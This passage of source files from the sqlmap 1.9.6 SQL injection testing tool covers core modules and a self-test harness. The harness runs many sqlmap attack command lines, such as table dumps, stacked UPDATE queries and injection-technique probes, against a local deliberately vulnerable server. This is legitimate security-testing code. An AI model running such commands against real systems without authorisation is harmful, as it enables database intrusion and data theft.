environment. """ if conf.multipleTargets: if conf.hashDB: conf.hashDB.close() if conf.cj: resetCookieJar(conf.cj) threadData = getCurrentThreadData() threadData.reset() conf.paramDict = {} conf.parameters = {} conf.hashDBFile = None _setKnowledgeBaseAttributes(False) _restoreMergedOptions() _setDBMS() if conf.data: class _(six.text_type): pass kb.postUrlEncode = True for key, value in conf.httpHeaders: if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): kb.postUrlEncode = "urlencoded" in value break if kb.postUrlEncode: original = conf.data conf.data = _(urldecode(conf.data)) setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) kb.postSpaceToPlus = '+' in original if conf.data and unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: if '=' not in conf.data.strip('='): try: original = conf.data conf.data = _(decodeBase64(conf.data, binary=False)) setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) except: pass match = re.search(INJECT_HERE_REGEX, "%s %s %s" % (conf.url, conf.data, conf.httpHeaders)) kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR def setupTargetEnv(): _createTargetDirs() _setRequestParams() _setHashDB() _resumeHashDBValues() _setResultsFile() _setAuthCred() _setAuxOptions() sqlmap-1.9.6/lib/core/testing.py000066400000000000000000000356351502261744200165700ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import doctest import logging import os import random import re import socket import sqlite3 import sys import tempfile import threading import time from extra.vulnserver import vulnserver from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import shellExec from lib.core.compat import round from lib.core.convert import encodeBase64 from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.patch import unisonRandom from lib.core.settings import IS_WIN def vulnTest(): """ Runs the testing against 'vulnserver' """ TESTS = ( ("-h", ("to see full list of options run with '-hh'",)), ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)), ("-m --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)), ("-u -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), ("-u --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), ("-u --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 5")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --technique=BU --all", ("5 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5,foobar,nameisnull", "'987654321'",)), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) retVal = True count = 0 while True: address, port = "127.0.0.1", random.randint(10000, 65535) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if s.connect_ex((address, port)): break else: time.sleep(1) finally: s.close() def _thread(): vulnserver.init(quiet=True) vulnserver.run(address=address, port=port) vulnserver._alive = True thread = threading.Thread(target=_thread) thread.daemon = True thread.start() while vulnserver._alive: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((address, port)) s.sendall(b"GET / HTTP/1.1\r\n\r\n") result = b"" while True: current = s.recv(1024) if not current: break else: result += current if b"vulnserver" in result: break except: pass finally: s.close() time.sleep(1) if not vulnserver._alive: logger.error("problem occurred in vulnserver instantiation (address: 'http://%s:%s')" % (address, port)) return False else: logger.info("vulnserver running at 'http://%s:%s'..." % (address, port)) handle, config = tempfile.mkstemp(suffix=".conf") os.close(handle) handle, database = tempfile.mkstemp(suffix=".sqlite") os.close(handle) with sqlite3.connect(database) as conn: c = conn.cursor() c.executescript(vulnserver.SCHEMA) handle, request = tempfile.mkstemp(suffix=".req") os.close(handle) handle, log = tempfile.mkstemp(suffix=".log") os.close(handle) handle, multiple = tempfile.mkstemp(suffix=".lst") os.close(handle) content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) with open(request, "w+") as f: f.write(content) f.flush() content = '%d' % (port, encodeBase64(content, binary=False)) with open(log, "w+") as f: f.write(content) f.flush() base = "http://%s:%d/" % (address, port) url = "%s?id=1" % base direct = "sqlite3://%s" % database tmpdir = tempfile.mkdtemp() with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f: content = f.read().replace("url =", "url = %s" % url) with open(config, "w+") as f: f.write(content) f.flush() content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr()) with open(multiple, "w+") as f: f.write(content) f.flush() for options, checks in TESTS: status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) if IS_WIN and "uraj" in options: options = options.replace(u"\u0161u\u0107uraj", "sucuraj") checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks] for tag, value in (("", url), ("", base), ("", direct), ("", tmpdir), ("", request), ("", log), ("", multiple), ("", config), ("", url.replace("id=1", "id=MZ=%3d"))): options = options.replace(tag, value) cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) if "" in cmd: handle, tmp = tempfile.mkstemp() os.close(handle) cmd = cmd.replace("", tmp) output = shellExec(cmd) if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: dataToStdout("---\n\n$ %s\n" % cmd) dataToStdout("%s---\n" % output, coloring=False) retVal = False count += 1 clearConsoleLine() if retVal: logger.info("vuln test final result: PASSED") else: logger.error("vuln test final result: FAILED") return retVal def smokeTest(): """ Runs the basic smoke testing of a program """ unisonRandom() with open(paths.ERRORS_XML, "r") as f: content = f.read() for regex in re.findall(r'', content): try: re.compile(regex) except re.error: errMsg = "smoke test failed at compiling '%s'" % regex logger.error(errMsg) return False retVal = True count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra", "interbase")): continue for filename in files: if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra", "interbase")): continue for filename in files: if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"): path = os.path.join(root, os.path.splitext(filename)[0]) path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') try: __import__(path) module = sys.modules[path] except Exception as ex: retVal = False dataToStdout("\r") errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex) logger.error(errMsg) else: logger.setLevel(logging.CRITICAL) kb.smokeMode = True (failure_count, _) = doctest.testmod(module) kb.smokeMode = False logger.setLevel(logging.INFO) if failure_count > 0: retVal = False count += 1 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) def _(node): for __ in dir(node): if not __.startswith('_'): candidate = getattr(node, __) if isinstance(candidate, str): if '\\' in candidate: try: re.compile(candidate) except: errMsg = "smoke test failed at compiling '%s'" % candidate logger.error(errMsg) raise else: _(candidate) for dbms in queries: try: _(queries[dbms]) except: retVal = False clearConsoleLine() if retVal: logger.info("smoke test final result: PASSED") else: logger.error("smoke test final result: FAILED") return retVal sqlmap-1.9.6/lib/core/threads.py000066400000000000000000000203351502261744200165340ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import difflib import sqlite3 import threading import time import traceback from lib.core.compat import WichmannHill from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import PYVERSION shared = AttribDict() class _ThreadData(threading.local): """ Represents thread independent data """ def __init__(self): self.reset() def reset(self): """ Resets thread data model """ self.disableStdOut = False self.hashDBCursor = None self.inTransaction = False self.lastCode = None self.lastComparisonPage = None self.lastComparisonHeaders = None self.lastComparisonCode = None self.lastComparisonRatio = None self.lastErrorPage = tuple() self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 self.lastRedirectURL = tuple() self.random = WichmannHill() self.resumed = False self.retriesCount = 0 self.seqMatcher = difflib.SequenceMatcher(None) self.shared = shared self.technique = None self.validationRun = 0 self.valueStack = [] ThreadData = _ThreadData() def readInput(message, default=None, checkBatch=True, boolean=False): # It will be overwritten by original from lib.core.common pass def isDigit(value): # It will be overwritten by original from lib.core.common pass def getCurrentThreadData(): """ Returns current thread's local data """ return ThreadData def getCurrentThreadName(): """ Returns current's thread name """ return threading.current_thread().getName() def exceptionHandledFunction(threadFunction, silent=False): try: threadFunction() except KeyboardInterrupt: kb.threadContinue = False kb.threadException = True raise except Exception as ex: from lib.core.common import getSafeExString if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): traceback.print_exc() def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation if PYVERSION >= "2.6": thread.daemon = True else: thread.setDaemon(True) def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] def _threadFunction(): try: threadFunction() finally: if conf.hashDB: conf.hashDB.close() kb.multipleCtrlC = False kb.threadContinue = True kb.threadException = False kb.technique = ThreadData.technique kb.multiThreadMode = False try: if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): while True: message = "please enter number of threads? [Enter for %d (current)] " % numThreads choice = readInput(message, default=str(numThreads)) if choice: skipThreadCheck = False if choice.endswith('!'): choice = choice[:-1] skipThreadCheck = True if isDigit(choice): if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS logger.critical(errMsg) else: conf.threads = numThreads = int(choice) break if numThreads == 1: warnMsg = "running in a single-thread mode. This could take a while" logger.warning(warnMsg) if numThreads > 1: if startThreadMsg: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: try: _threadFunction() except (SqlmapUserQuitException, SqlmapSkipTargetException): pass finally: return kb.multiThreadMode = True # Start the threads for numThread in xrange(numThreads): thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[_threadFunction]) setDaemon(thread) try: thread.start() except Exception as ex: errMsg = "error occurred while starting new thread ('%s')" % ex logger.critical(errMsg) break threads.append(thread) # And wait for them to all finish alive = True while alive: alive = False for thread in threads: if thread.is_alive(): alive = True time.sleep(0.1) except (KeyboardInterrupt, SqlmapUserQuitException) as ex: print() kb.prependFlag = False kb.threadContinue = False kb.threadException = True if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): kb.multipleCtrlC = True raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)") kb.lastCtrlCTime = time.time() if numThreads > 1: logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) try: while (threading.active_count() > 1): pass except KeyboardInterrupt: kb.multipleCtrlC = True raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") if forwardException: raise except (SqlmapConnectionException, SqlmapValueException) as ex: print() kb.threadException = True logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() except Exception as ex: print() if not kb.multipleCtrlC: if isinstance(ex, sqlite3.Error): raise else: from lib.core.common import unhandledExceptionMessage kb.threadException = True errMsg = unhandledExceptionMessage() logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) traceback.print_exc() finally: kb.multiThreadMode = False kb.threadContinue = True kb.threadException = False kb.technique = None for lock in kb.locks.values(): if lock.locked(): try: lock.release() except: pass if conf.get("hashDB"): conf.hashDB.flush(True) if cleanupFunction: cleanupFunction() sqlmap-1.9.6/lib/core/unescaper.py000066400000000000000000000017331502261744200170700ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE class Unescaper(AttribDict): def escape(self, expression, quote=True, dbms=None): if expression is None: return expression for exclude in EXCLUDE_UNESCAPE: if exclude in expression: return expression identifiedDbms = Backend.getIdentifiedDbms() if dbms is not None: retVal = self[dbms](expression, quote=quote) elif identifiedDbms is not None and identifiedDbms in self: retVal = self[identifiedDbms](expression, quote=quote) else: retVal = expression # e.g. inference comparison for ' retVal = retVal.replace("'''", "''''") return retVal unescaper = Unescaper() sqlmap-1.9.6/lib/core/update.py000066400000000000000000000164531502261744200163720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import glob import os import re import shutil import subprocess import time import zipfile from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import getLatestRevision from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import pollProcess from lib.core.common import readInput from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.revision import getRevisionNumber from lib.core.settings import GIT_REPOSITORY from lib.core.settings import IS_WIN from lib.core.settings import VERSION from lib.core.settings import TYPE from lib.core.settings import ZIPBALL_PAGE from thirdparty.six.moves import urllib as _urllib def update(): if not conf.updateAll: return success = False if TYPE == "pip": infoMsg = "updating sqlmap to the latest stable version from the " infoMsg += "PyPI repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'pip' command" logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) output = "" try: process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) pollProcess(process, True) output, _ = process.communicate() success = not process.returncode except Exception as ex: success = False output = getSafeExString(ex) finally: output = getText(output) if success: logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P\d+\.\d+\.\d+)\)", output))) else: logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip()) elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.warning(warnMsg) if VERSION == getLatestRevision(): logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION)) return message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" if readInput(message, default='N', boolean=True): directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) try: open(os.path.join(directory, "sqlmap.py"), "w+b") except Exception as ex: errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) logger.error(errMsg) else: attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode for wildcard in ('*', ".*"): for _ in glob.glob(os.path.join(directory, wildcard)): try: if os.path.isdir(_): shutil.rmtree(_) else: os.remove(_) except: pass if glob.glob(os.path.join(directory, '*')): errMsg = "unable to clear the content of directory '%s'" % directory logger.error(errMsg) else: try: archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0] with zipfile.ZipFile(archive) as f: for info in f.infolist(): info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename) if info.filename: f.extract(info, directory) filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") if os.path.isfile(filepath): with openFile(filepath, "rb") as f: version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) logger.info("updated to the latest version '%s#dev'" % version) success = True except Exception as ex: logger.error("update could not be completed ('%s')" % getSafeExString(ex)) else: if not success: logger.error("update could not be completed") else: try: os.chmod(os.path.join(directory, "sqlmap.py"), attrs) except OSError: logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) else: infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'git' command" logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) output = "" try: process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) pollProcess(process, True) output, _ = process.communicate() success = not process.returncode except Exception as ex: success = False output = getSafeExString(ex) finally: output = getText(output) if success: logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber())) else: if "Not a git repository" in output: errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.error(errMsg) else: logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip()) if not success: if IS_WIN: infoMsg = "for Windows platform it's recommended " infoMsg += "to use a GitHub for Windows client for updating " infoMsg += "purposes (https://desktop.github.com/) or just " infoMsg += "download the latest snapshot from " infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" else: infoMsg = "for Linux platform it's recommended " infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')" logger.info(infoMsg) sqlmap-1.9.6/lib/core/wordlist.py000066400000000000000000000062001502261744200167440ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import zipfile from lib.core.common import getSafeExString from lib.core.common import isZipFile from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapInstallationException from thirdparty import six class Wordlist(six.Iterator): """ Iterator for looping over a large dictionaries >>> from lib.core.option import paths >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type) True >>> isinstance(next(Wordlist(paths.WORDLIST)), six.binary_type) True """ def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames self.fp = None self.index = 0 self.counter = -1 self.current = None self.iter = None self.custom = custom or [] self.proc_id = proc_id self.proc_count = proc_count self.adjust() def __iter__(self): return self def adjust(self): self.closeFP() if self.index > len(self.filenames): return # Note: https://stackoverflow.com/a/30217723 (PEP 479) elif self.index == len(self.filenames): self.iter = iter(self.custom) else: self.current = self.filenames[self.index] if isZipFile(self.current): try: _ = zipfile.ZipFile(self.current, 'r') except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) self.fp = _.open(_.namelist()[0]) else: self.fp = open(self.current, "rb") self.iter = iter(self.fp) self.index += 1 def closeFP(self): if self.fp: self.fp.close() self.fp = None def __next__(self): retVal = None while True: self.counter += 1 try: retVal = next(self.iter).rstrip() except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) except StopIteration: self.adjust() retVal = next(self.iter).rstrip() if not self.proc_count or self.counter % self.proc_count == self.proc_id: break return retVal def rewind(self): self.index = 0 self.adjust() sqlmap-1.9.6/lib/parse/000077500000000000000000000000001502261744200147075ustar00rootroot00000000000000sqlmap-1.9.6/lib/parse/__init__.py000066400000000000000000000002221502261744200170140ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass sqlmap-1.9.6/lib/parse/banner.py000066400000000000000000000067731502261744200165430ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import Backend from lib.core.common import parseXmlFile from lib.core.common import sanitizeStr from lib.core.data import kb from lib.core.data import paths from lib.core.enums import DBMS from lib.parse.handler import FingerprintHandler class MSSQLBannerHandler(ContentHandler): """ This class defines methods to parse and extract information from the given Microsoft SQL Server banner based upon the data in XML file """ def __init__(self, banner, info): ContentHandler.__init__(self) self._banner = sanitizeStr(banner or "") self._inVersion = False self._inServicePack = False self._release = None self._version = "" self._versionAlt = None self._servicePack = "" self._info = info def _feedInfo(self, key, value): value = sanitizeStr(value) if value in (None, "None"): return self._info[key] = value def startElement(self, name, attrs): if name == "signatures": self._release = sanitizeStr(attrs.get("release")) elif name == "version": self._inVersion = True elif name == "servicepack": self._inServicePack = True def characters(self, content): if self._inVersion: self._version += sanitizeStr(content) elif self._inServicePack: self._servicePack += sanitizeStr(content) def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): if version and self._banner and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) break self._version = "" self._versionAlt = None self._servicePack = "" elif name == "version": self._inVersion = False self._version = self._version.replace(" ", "") match = re.search(r"\A(?P\d+)\.00\.(?P\d+)\Z", self._version) self._versionAlt = "%s.0.%s.0" % (match.group('major'), match.group('build')) if match else None elif name == "servicepack": self._inServicePack = False self._servicePack = self._servicePack.replace(" ", "") def bannerParser(banner): """ This function calls a class to extract information from the given DBMS banner based upon the data in XML file """ xmlfile = None if Backend.isDbms(DBMS.MSSQL): xmlfile = paths.MSSQL_XML elif Backend.isDbms(DBMS.MYSQL): xmlfile = paths.MYSQL_XML elif Backend.isDbms(DBMS.ORACLE): xmlfile = paths.ORACLE_XML elif Backend.isDbms(DBMS.PGSQL): xmlfile = paths.PGSQL_XML if not xmlfile: return if Backend.isDbms(DBMS.MSSQL): handler = MSSQLBannerHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(paths.GENERIC_XML, handler) else: handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler) sqlmap-1.9.6/lib/parse/cmdline.py000066400000000000000000001431461502261744200167050ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import os import re import shlex import sys try: from optparse import OptionError as ArgumentError from optparse import OptionGroup from optparse import OptionParser as ArgumentParser from optparse import SUPPRESS_HELP as SUPPRESS ArgumentParser.add_argument = ArgumentParser.add_option def _add_argument_group(self, *args, **kwargs): return self.add_option_group(OptionGroup(self, *args, **kwargs)) ArgumentParser.add_argument_group = _add_argument_group def _add_argument(self, *args, **kwargs): return self.add_option(*args, **kwargs) OptionGroup.add_argument = _add_argument except ImportError: from argparse import ArgumentParser from argparse import ArgumentError from argparse import SUPPRESS finally: def get_actions(instance): for attr in ("option_list", "_group_actions", "_actions"): if hasattr(instance, attr): return getattr(instance, attr) def get_groups(parser): return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") def get_all_options(parser): retVal = set() for option in get_actions(parser): if hasattr(option, "option_strings"): retVal.update(option.option_strings) else: retVal.update(option._long_opts) retVal.update(option._short_opts) for group in get_groups(parser): for option in get_actions(group): if hasattr(option, "option_strings"): retVal.update(option.option_strings) else: retVal.update(option._long_opts) retVal.update(option._short_opts) return retVal from lib.core.common import checkOldOptions from lib.core.common import checkSystemEncoding from 